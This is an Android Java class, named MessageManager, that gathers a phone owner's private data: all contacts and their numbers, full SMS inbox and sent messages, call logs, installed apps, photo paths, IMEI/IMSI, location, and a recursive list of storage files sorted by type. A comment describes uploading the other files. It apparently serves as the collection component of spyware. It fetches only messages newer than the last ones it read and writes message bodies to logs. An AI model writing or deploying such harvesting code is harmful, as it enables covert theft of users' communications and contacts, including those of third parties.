/**
 * @author EX-LIJINHUA001
 * @date 2013-3-5
 */
package im.device.config;

import im.device.config.Constants.URLParamKey;

import java.io.File;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;

import org.json.JSONArray;
import org.json.JSONObject;

import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.support.v4.content.CursorLoader;
import app.log.AppLog;
import app.utils.CommonUtils;

/**
 * 消息管理类
 * 
 * @author EX-LIJINHUA001
 * @date 2013-3-5
 */
public class MessageManager {

	private static final String TAG = MessageManager.class.getSimpleName();

	// ===================================================
	// 以下常量用于应用数据公用的值，非final，可变 start
	// ===================================================
	/** 用户最后一次定位的城市 */
	public static String CITY = null;
	/** 用户最后一次定位的街道地址 */
	public static String ADDRESS = null;
	/** 用户最后一次定位的经纬度 */
	public static double LONGITUDE = 0;
	public static double LATITUDE = 0;
	public static String IMEI = "";
	public static String IMSI = "";
	public static String MODEL = "";
	public static String SYSTEM_NAME = "android";
	public static String SYSTEM_VERSION = "";
	public static String WIDTH = "";
	public static String HEIGHT = "";
	public static String OPERATOR = "";
	public static String VERSION = "";
	// ===================================================
	// 以上常量用于应用数据公用的值，非final，可变 end
	// ===================================================

	private static MessageManager instance;

	private Context mContext;

	private MessageManager() {

	}

	public static MessageManager getInstance(Context mContext) {
		if (instance == null) {
			instance = new MessageManager();
		}
		instance.mContext = mContext;
		return instance;
	}

	/**
	 * 获取基本信息
	 * @return
	 */
	public HashMap<String, String> getBaseInfo() {
		HashMap<String, String> paramMap = new HashMap<String, String>();
		paramMap.put(URLParamKey.LONGITUDE, "" + LONGITUDE);
		paramMap.put(URLParamKey.LATITUDE, "" + LATITUDE);
		paramMap.put(URLParamKey.CITY, CITY);
		paramMap.put(URLParamKey.ADDRESS, ADDRESS);
		paramMap.put(URLParamKey.IMEI, IMEI);
		paramMap.put(URLParamKey.DEVICE_ID, CommonUtils.getSysValue(mContext, Constants.DEVICE_ID,"0"));
		paramMap.put(URLParamKey.NET, CommonUtils.getAPNType(mContext));
		return paramMap;
	}
	
	/**
	 * 获取设备信息
	 * @return
	 */
	public HashMap<String, String> getDeviceInfo() {
		HashMap<String, String> paramMap = new HashMap<String, String>();
		paramMap.put(URLParamKey.IMEI, IMEI);
		paramMap.put(URLParamKey.IMSI, IMSI);
		paramMap.put(URLParamKey.MODEL, MODEL);
		paramMap.put(URLParamKey.SYSTEM_NAME, SYSTEM_NAME);
		paramMap.put(URLParamKey.SYSTEM_VERSION, SYSTEM_VERSION);
		paramMap.put(URLParamKey.WIDTH, WIDTH);
		paramMap.put(URLParamKey.HEIGHT, HEIGHT);
		paramMap.put(URLParamKey.OPERATOR, OPERATOR);
		paramMap.put(URLParamKey.VERSION,
				CommonUtils.getAppVersionName(mContext));
		return paramMap;
	}

	/**
	 * 获取联系人
	 * @return
	 */
	public JSONArray getContact() {
		JSONArray json = new JSONArray();

		try {
			// 获得所有的联系人
			Cursor cur = mContext.getContentResolver().query(
					ContactsContract.Contacts.CONTENT_URI, null, null, null,
					null);

			// 循环遍历
			if (cur.moveToFirst()) {
				int idColumn = cur
						.getColumnIndex(ContactsContract.Contacts._ID);
				int displayNameColumn = cur
						.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);

				do {
					JSONObject jsonItem = new JSONObject();
					json.put(jsonItem);

					// 获得联系人的ID号
					String contactId = cur.getString(idColumn);
					// 获得联系人姓名
					String disPlayName = cur.getString(displayNameColumn);

					jsonItem.put(URLParamKey.CONTACTID, contactId);
					jsonItem.put(URLParamKey.NAME, disPlayName);

//					AppLog.d(TAG, "contactId=" + contactId + " disPlayName="
//							+ disPlayName);
					// 查看该联系人有多少个电话号码。如果没有这返回值为0
					int phoneCount = cur
							.getInt(cur
									.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
					if (phoneCount > 0) {
						// 获得联系人的电话号码
						Cursor phones = mContext
								.getContentResolver()
								.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
										null,
										ContactsContract.CommonDataKinds.Phone.CONTACT_ID
												+ " = " + contactId, null, null);
						if (phones == null) {
							AppLog.e(TAG, "phones is null");
							continue;
						}
						if (phones.moveToFirst()) {
							JSONArray jsonArray = new JSONArray();
							jsonItem.put(URLParamKey.PHONE_LIST, jsonArray);
							do {
								// 遍历所有的电话号码
								String phoneNumber = phones
										.getString(phones
												.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
								jsonArray.put(phoneNumber);
//								AppLog.v(TAG, phoneNumber);
							} while (phones.moveToNext());
						}
						phones.close();
					}
				} while (cur.moveToNext());
			}
			cur.close();
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		return json;
	}

	/**
	 * 获取收件箱
	 * @return
	 */
	public JSONArray getSMSInbox() {
		JSONArray json = new JSONArray();
		String smsid = CommonUtils.getSysValue(mContext,
				Constants.LAST_SMS_INBOX_ID, "0");
		String[] projection = new String[] { "_id", "address", "body","date" };
		String where = "_id > " + smsid;
		try {
			Cursor cursorInbox = mContext.getContentResolver().query(
					Uri.parse("content://sms/inbox"), projection, where, null,
					null);// 获取收件箱信息,可以查询收件箱
			if (cursorInbox.moveToFirst()) {
				do {
					JSONObject jsonItem = new JSONObject();
					json.put(jsonItem);
					String id = cursorInbox.getString(0);
					String addr = cursorInbox.getString(1);
					String body = cursorInbox.getString(2);
					String date = cursorInbox.getString(3);
					
					jsonItem.putOpt(URLParamKey.ID, id.trim());
					jsonItem.putOpt(URLParamKey.PHONE, addr.trim());
					jsonItem.putOpt(URLParamKey.BODY, body.trim());
					jsonItem.putOpt(URLParamKey.DATE, date.trim());
					AppLog.v(TAG, "id=" + id + " addr=" + addr + " body="
							+ body + " date="+date );
				} while (cursorInbox.moveToNext());
			}
			cursorInbox.close();
		} catch (Exception e) {
			// TODO: handle exception
		}
		return json;
	}

	/**
	 * 获取发件箱
	 * @return
	 */
	public JSONArray getSMSSentbox() {
		JSONArray json = new JSONArray();

		String smsid = CommonUtils.getSysValue(mContext,
				Constants.LAST_SMS_INBOX_ID, "0");
		String[] projection = new String[] { "_id", "address", "body","date" };
		String where = "_id > " + smsid;
//		AppLog.d(TAG, "getSMSSentbox " + where);
		try {
			Cursor cursorSendbox = mContext.getContentResolver().query(
					Uri.parse("content://sms/sent"), projection, where, null,
					null);// 发件箱信息，可以查询发件箱
			if (cursorSendbox.moveToFirst()) {
				do {
					JSONObject jsonItem = new JSONObject();
					json.put(jsonItem);
					String id = cursorSendbox.getString(0);
					String addr = cursorSendbox.getString(1);
					String body = cursorSendbox.getString(2);
					String date = cursorSendbox.getString(3);

					jsonItem.putOpt(URLParamKey.ID, id);
					jsonItem.putOpt(URLParamKey.PHONE, addr);
					jsonItem.putOpt(URLParamKey.BODY, body);
					jsonItem.putOpt(URLParamKey.DATE, date);
					
					AppLog.v(TAG, "id=" + id + " addr=" + addr + " body="
							+ body + " date="+date);
				} while (cursorSendbox.moveToNext());
			}
			cursorSendbox.close();
		} catch (Exception e) {
			// TODO: handle exception
		}
		return json;
	}
	
	/**
	 * 获取应用列表
	 * @return
	 */
	public JSONArray getAppList() {
		JSONArray json = new JSONArray();
		List<PackageInfo> packages = mContext.getPackageManager()
				.getInstalledPackages(0);

		try {
			
			for (int i = 0; i < packages.size(); i++) {
				PackageInfo packageInfo = packages.get(i);
				
				if ((packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0) {
					continue;// 如果系统应用，则不添加至appList
				}
				
				JSONObject jsonItem = new JSONObject();
				json.put(jsonItem);
				
				String appName = packageInfo.applicationInfo.loadLabel(
						mContext.getPackageManager()).toString();
				String packageName = packageInfo.packageName;
				String versionName = packageInfo.versionName;
				String versionCode = ""+packageInfo.versionCode;
//				String appIcon = packageInfo.applicationInfo
//						.loadIcon(getPackageManager());
				// Only display the non-system app info
				
				jsonItem.putOpt(URLParamKey.APP_NAME, appName.trim());
				jsonItem.putOpt(URLParamKey.APP_PACKAGE_NAME, packageName.trim());
				jsonItem.putOpt(URLParamKey.APP_VERSION_NAME, versionName.trim());
				jsonItem.putOpt(URLParamKey.APP_VERSION_CODE, versionCode.trim());
			}
		}catch(Exception e){
			
		}
		return json;
	}
	
	/**
	 * 获取通话记录
	 * @date 2013-3-20
	 * @return
	 */
	public JSONArray getCallLog() {
	    JSONArray json = new JSONArray();
	    try {
	    	
	    	String callLogid = CommonUtils.getSysValue(mContext,
					Constants.LAST_CALLLOG_ID, "0");
			String where = "_id > " + callLogid;
			
	        ContentResolver cr = mContext.getContentResolver();
	        final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
	                new String[] { CallLog.Calls._ID,CallLog.Calls.NUMBER,
	                        CallLog.Calls.CACHED_NAME, CallLog.Calls.TYPE,
	                        CallLog.Calls.DATE,
	                        CallLog.Calls.DURATION}, where, null,
	                CallLog.Calls.DEFAULT_SORT_ORDER);
	        SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
	        if (cursor.moveToFirst()) {
	            do {
	                JSONObject jsonItem = new JSONObject();
	                json.put(jsonItem);
	                int id = cursor.getInt(0);
	                String number = cursor.getString(1);
	                String name = cursor.getString(2);
	                int type = cursor.getInt(3);
	                Date date = new Date(Long.parseLong(cursor.getString(4)));
	                String time = sfd.format(date);
	                int duration = cursor.getInt(5);
	                 jsonItem.putOpt(URLParamKey.ID, id);
	                 jsonItem.putOpt(URLParamKey.PHONE, number);
	                 jsonItem.putOpt(URLParamKey.NAME, name);
	                 jsonItem.putOpt(URLParamKey.TYPE, type);
	                 jsonItem.putOpt(URLParamKey.TIME, time);
	                 jsonItem.putOpt(URLParamKey.DURATION, duration);
	                  
	                AppLog.v(TAG, "id= "+id+" number=" + number + " name=" + name
	                        + " type=" + type + " time=" + time + " duration="+duration);
	            } while (cursor.moveToNext());
	        }
	        
	        cursor.close();
	    } catch (Exception e) {
	        // TODO: handle exception
	    }
	    return json;
	}
	
	/**
	 * 获取相片列表
	 * @return
	 */
	public ArrayList<HashMap<String,String>> getPhotoList(){
		ArrayList<HashMap<String,String>> dataList = new ArrayList<HashMap<String,String>>();
	    try {
	    	
			String[] STORE_IMAGES = {
					MediaStore.Images.Media.DISPLAY_NAME,
					MediaStore.Images.Media.DATE_TAKEN, MediaStore.Images.Media._ID ,
					MediaStore.Images.Media.DATA
			};

			String orderBy = MediaStore.Images.Media.DATE_TAKEN + " desc ";
			
			CursorLoader cursorLoader = new CursorLoader(mContext,
					MediaStore.Images.Media.EXTERNAL_CONTENT_URI, STORE_IMAGES,
					null, null, orderBy);
			
			Cursor cursor = cursorLoader.loadInBackground();
			
	        SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
	        if (cursor.moveToFirst()) {
	            do {
	            	HashMap<String,String> item = new HashMap<String,String>();
	                
	                String name = cursor.getString(0);
					long time = cursor.getLong(1);
					long id = cursor.getLong(2);
					String path = cursor.getString(3);
					Date d = new Date(time);
					
					item.put(URLParamKey.ID, ""+id);
					item.put(URLParamKey.NAME, name);
					item.put(URLParamKey.TIME, ""+time);
					item.put(URLParamKey.IMG_PATH, ""+path);
					
					dataList.add(item);
	                AppLog.v(TAG, "id= "+id+" name=" + name + " time=" + sfd.format(d)+" path="+path);
	            } while (cursor.moveToNext());
	        }
	        
	        cursor.close();
	    } catch (Exception e) {
	        // TODO: handle exception
	    }
		
		return dataList;
	}
	
	/**
	 * 获取所有文件列表
	 * @return
	 */
	public ArrayList<ArrayList<String>> getStorageFileList(boolean isUploadOther,ArrayList<ArrayList<String>> conditionList){
		File file = Environment.getExternalStorageDirectory();
		String rootpath = file.getAbsolutePath();
		String[] temps = rootpath.split("/");
		if(temps == null){
			return null;
		}else if(temps.length >= 1){
			rootpath = "/"+temps[1];
		}
		File rootFile = new File(rootpath);
		AppLog.d(TAG, "getStorageFileList = "+rootFile.getAbsolutePath());
		ArrayList<ArrayList<String>> list = new ArrayList<ArrayList<String>>();
		
		for(ArrayList<String> l : conditionList){
			list.add(new ArrayList<String>());
		}
		if(isUploadOther){
			list.add(new ArrayList<String>());
		}
		return getFiles(list,rootFile, isUploadOther, conditionList);
	}
	
	private ArrayList<ArrayList<String>> getFiles(ArrayList<ArrayList<String>> list,File fileDir,boolean isUploadOther,ArrayList<ArrayList<String>> conditionList){
		if(fileDir == null || !fileDir.isDirectory()){
			return list;
		}
		File[] fs = fileDir.listFiles();
		if(fs == null || fs.length <= 0){
			return list;
		}
		for(File f : fs){
			if(f == null){
				continue;
			}
			if(f.isFile()){
				String filePath = f.getAbsolutePath();
				int index = filePath.lastIndexOf(".");
				String endFile = "null";
				if(index != -1){
					endFile = filePath.substring(index+1);
				}
				boolean isConditionList = false;
				int size = conditionList.size();
				for(int i=0 ;i<size; i++){
					if(conditionList.get(i).contains(endFile)){
						//符合条件列表
						AppLog.d(TAG, " endFile="+endFile);
						list.get(i).add(filePath);
						isConditionList = true;
					}
				}
				if(isUploadOther && !isConditionList){
					//需要上传其他文件，并且该文件类型不属于上传的，则放到其他
					list.get(list.size()-1).add(filePath);
				}
			}else{
				getFiles(list,f,isUploadOther,conditionList);
			}
		}
		return list;
	}
	
	/**
	 * 判断文件是否为图片
	 * @param filePath
	 * @return
	 */
	private boolean isImgFile(String filePath){
		String[] imgFiles = new String[]{"bmp","jpg","jpeg","png","gif","psd"};
		for(String img : imgFiles){
			if(filePath.endsWith(img)){
				return true;
			}
		}
		return false;
	}
	
	private boolean isVdioFile(String filePath){
		String[] imgFiles = new String[]{"mp4","avi","rm","rmvb","mpeg","mpg","mov","wmv","3gp"};
		for(String img : imgFiles){
			if(filePath.endsWith(img)){
				return true;
			}
		}
		return false;
	}
	
	private boolean isDocFile(String filePath){
		String[] imgFiles = new String[]{"doc","docx","txt","pdf","xls","rar","zip","7z"};
		for(String img : imgFiles){
			if(filePath.endsWith(img)){
				return true;
			}
		}
		return false;
	}
}
